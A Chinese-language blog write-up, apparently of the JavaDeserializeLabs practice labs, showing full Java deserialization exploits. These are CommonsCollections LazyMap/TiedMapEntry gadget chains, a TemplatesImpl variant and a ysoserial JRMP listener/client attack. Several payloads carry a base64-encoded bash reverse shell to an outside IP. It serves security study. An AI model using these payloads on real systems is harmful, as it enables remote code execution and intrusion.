JavaDeserializeLabs

Lab1

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;

import com.yxxx.javasec.deserialize.Calc;
import com.yxxx.javasec.deserialize.Utils;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;

public class Main {
public static void main(String[] args) throws Exception{
Calc calc = new Calc();

Class c = calc.getClass();
Field field = c.getDeclaredField("canPopCalc");
field.setAccessible(true);
field.set(calc,true);

Field field1 = c.getDeclaredField("cmd");
field1.setAccessible(true);
field1.set(calc,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcxLjIwNC83ODkwIDA+JjE=}|{base64,-d}|{bash,-i}");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(calc);
System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray()));
}
}

Lab2

题目的IndexController如下,题目包项目中没有提供反序列化类,去库内看一眼,发现了CommonsCollections依赖,可以打CC Gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.yxxx.javasec.deserialize;

import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class IndexController {
public IndexController() {
}

@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("SJTU") && year == 1896) {
objectInputStream.readObject();
}

return "index";
}
}

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;

import com.yxxx.javasec.deserialize.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception{
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcxLjIwNC83ODkwIDA+JjE=}|{base64,-d}|{bash,-i}"})
});

HashMap<Object,Object> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(11));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);

HashMap<Object,Object> hashMap1 = new HashMap<>();

hashMap1.put(tiedMapEntry,"1");

Class<?> c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
lazyMap.remove(1);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);

outputStream.writeUTF("SJTU");
outputStream.writeInt(1896);
outputStream.writeObject(hashMap1);

System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray()));
}
}

Lab3

比起Lab2,Lab3的InputStream处使用了自定义的一个反序列化类

1
ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream);

类的内容如下,重写了一个resolveClass()方法以及构造函数,构造函数中获取类Transformer类的类加载器,向上转型为URLClassLoader,获取URL数组对象,赋值给classLoader

重写的resolveClass()方法中,调用的是这个新的classLoader来进行类加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class MyObjectInputStream extends ObjectInputStream {
private ClassLoader classLoader;

public MyObjectInputStream(InputStream inputStream) throws Exception {
super(inputStream);
URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();
this.classLoader = new URLClassLoader(urls);
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class clazz = this.classLoader.loadClass(desc.getName());
return clazz;
}
}

继续尝试使用Lab2的payload,发现了报错如图,提示类[Lorg.apache.commons.collections.Transformer;不存在

这里的[L开头指的是一个数组,即Transformer数组类去进行类加载失效

这里在空指针处打上断点,debug

找到抛出异常的条件是result为null,那result是什么呢

往上看逻辑,发现result的获取过程如下:

是将原本的name,即[Lorg.apache.commons.collections.Transformer;这一整个字符串,的点换为反斜杠,最后再拼接上.class字符串

(此时的我还没反应过来什么)

然后得到的path用于getResource()获取资源,成功的话就调用defineClass()进行类加载从而得到result

这里我想看看上面result的获取具体是个什么样的逻辑,于是打上断点

当步过一行代码后,

omg。。

好吧,看到这个类名,能找到啥啊,

试了下发现只要是数组都会gg

这里可以回到ObjectInputStream最初的resolveClass()的实现对比去看,

前面学到类加载知道有多种方式,Class.forName()或者字节流传入defineClass()或者ClassLoader.loadClass(),

原生的方法是调用了forName(),而我们这里重写的则是调用了loadClass()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}

自己重写了个MyObjectInputStream1,通过判断是不是数组对象的类加载

如果是的话,应以[L开头,这时候我们调用forName()即可,成功触发命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class MyObjectInputStream1 extends ObjectInputStream {
private ClassLoader classLoader;

public MyObjectInputStream1(InputStream in) throws Exception {
super(in);
URL[] urls = ((URLClassLoader) ClassLoader.getSystemClassLoader()).getURLs();
this.classLoader = ClassLoader.getSystemClassLoader();
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {

if (desc.getName().startsWith("[L")){
return Class.forName(desc.getName());
}
return this.classLoader.loadClass(desc.getName());
// return Class.forName(desc.getName());
}
}

构造新的payload时,已知序列化流中不能有数组对象,ChainedTransformer需要传入数组,InvokerTransformer需要传入数组,因此一向通杀的CC6反而不能用了

想到前面shiro的利用链中并没有利用到数组对象,但是马上反应过来,我们缺少CB依赖

在p神的java安全漫谈15中介绍了另外一条不需要Transformer数组的gadget

本质上是结合了TemplateImpl.newTransformer()和TiedMapEntry.getValue()

在这条链中,templateImpl对象和他的newTransformer是由ChainedTransformer联系起来的

1
2
3
4
Transform chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(template),
new InvokerTransformer("newTransformer",null.null)
})

TiedMapEntry.getValue()

1
2
3
public Object getValue() {
return this.map.get(this.key);
}

LazyMap.get()

不难发现这里的transformer()方法会直接将key对象作为参数传入,

这里我们之前都并不是很在意key的值为多少,因为在chainedTransformer的第一个节点我们通常都是用ConstantTransformer直接传入template对象,无论key为多少始终返回template常量,

但是当我们发现这里的key可控时,当key为template,factory为InvokerTransformer对象的时候,会直接调用newTransformer()方法,并且不需要ChainedTransformer

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yxxx.javasec.deserialize.MyObjectInputStream;
import com.yxxx.javasec.deserialize.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;

public class Main {
public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();

byte[] bytes0 = Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"));

byte[][] bytes = new byte[][]{bytes0};

Class<?> c = TemplatesImpl.class;
Field f = c.getDeclaredField("_bytecodes");
f.setAccessible(true);
f.set(templates,bytes);

TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
f = c.getDeclaredField("_tfactory");
f.setAccessible(true);
f.set(templates,transformerFactory);

f = c.getDeclaredField("_name");
f.setAccessible(true);
f.set(templates,"11");


InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);

HashMap<Object,Object> hashMap = new HashMap<>();

LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(11));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);

HashMap<Object,Object> hashMap1 = new HashMap<>();

hashMap1.put(tiedMapEntry,"1");

Class<?> c1 = LazyMap.class;
Field factoryField = c1.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);
lazyMap.remove(1);


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);

Integer[] list = new Integer[]{1,2};

outputStream.writeUTF("SJTU");
outputStream.writeInt(1896);
outputStream.writeObject(hashMap1);


ByteArrayInputStream inputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream);
objectInputStream.readUTF();
objectInputStream.readInt();
objectInputStream.readObject();
// System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray()));
}
}

写着写着又出问题了,这个[[B是个什么鬼,查一查

OK是上面的二维字节数组byte[][],

但是defineClass()这条链必须将一个二维数组赋值给_bytecodes,因此这条路到这里也是断了

根据这篇文章:https://blog.orange.tw/posts/2018-03-pwn-ctf-platform-with-java-jrmp-gadget/

在ysoserial中有一条jrmp链

参考到这篇文章:https://blog.orange.tw/posts/2018-03-pwn-ctf-platform-with-java-jrmp-gadget/

yso中的payloads/JRMPLinstener的利用gadget如下:

1
2
3
4
5
6
7
8
UnicastRemoteObject.readObject()
UnicastRemoteObject.reexport()
UnicastRemoteObject.exportObject()
UnicastServerRef.exportObject()
LiveRef.exportObject()
TCPEndpoint.exportObject()
TCPTransport.exportObject()
TCPTransport.listen()

这里可以打一手JRMP的二次反序列化,但是这里注意到jdk版本,是u222 > 8u121,是受限于JEP290的jdk版本,但是ysoserial中的这条exploit/JRMPListener+payloads/JRMPClient攻击链具备JEP290的绕过,在版本<8u231都可打。具体绕过方式打算再开一篇文章讲

开启JRMP Server

(踩坑注意这里如果是要生成payload的话不要用powershell,用cmd)

1
java.exe -cp .\ysoserial-all.jar ysoserial/exploit/JRMPListener 12121 "CommonsCollections5" "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcxLjIwNC83ODkwIDA+JjE=}|{base64,-d}|{bash,-i}"

然后根据JRMPClient稍微改写一下,将端口自己指定一下,另外getObject()方法接收的参数实际上是JRMP服务器的host:port而已,,写成command害我看了有一会,,读了下内容才发现

因为要设置UTF和Int,所以就不能直接用yso的JRMPClient了,参考一下payloads/JRMPClient的写法:

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yxxx.javasec.deserialize.MyObjectInputStream;
import com.yxxx.javasec.deserialize.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.*;

public class Main {
public static Registry getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = 12345;
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Main.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}

public static void main(String[] args) throws Exception{

Registry registry = getObject("10.133.15.159:12345");


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);

outputStream.writeUTF("SJTU");
outputStream.writeInt(1896);
outputStream.writeObject(registry);


ByteArrayInputStream inputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream);
objectInputStream.readUTF();
objectInputStream.readInt();
// objectInputStream.readObject();
System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray()));
}
}

作者

Potat0w0

发布于

2024-10-15

更新于

2024-10-19

许可协议


评论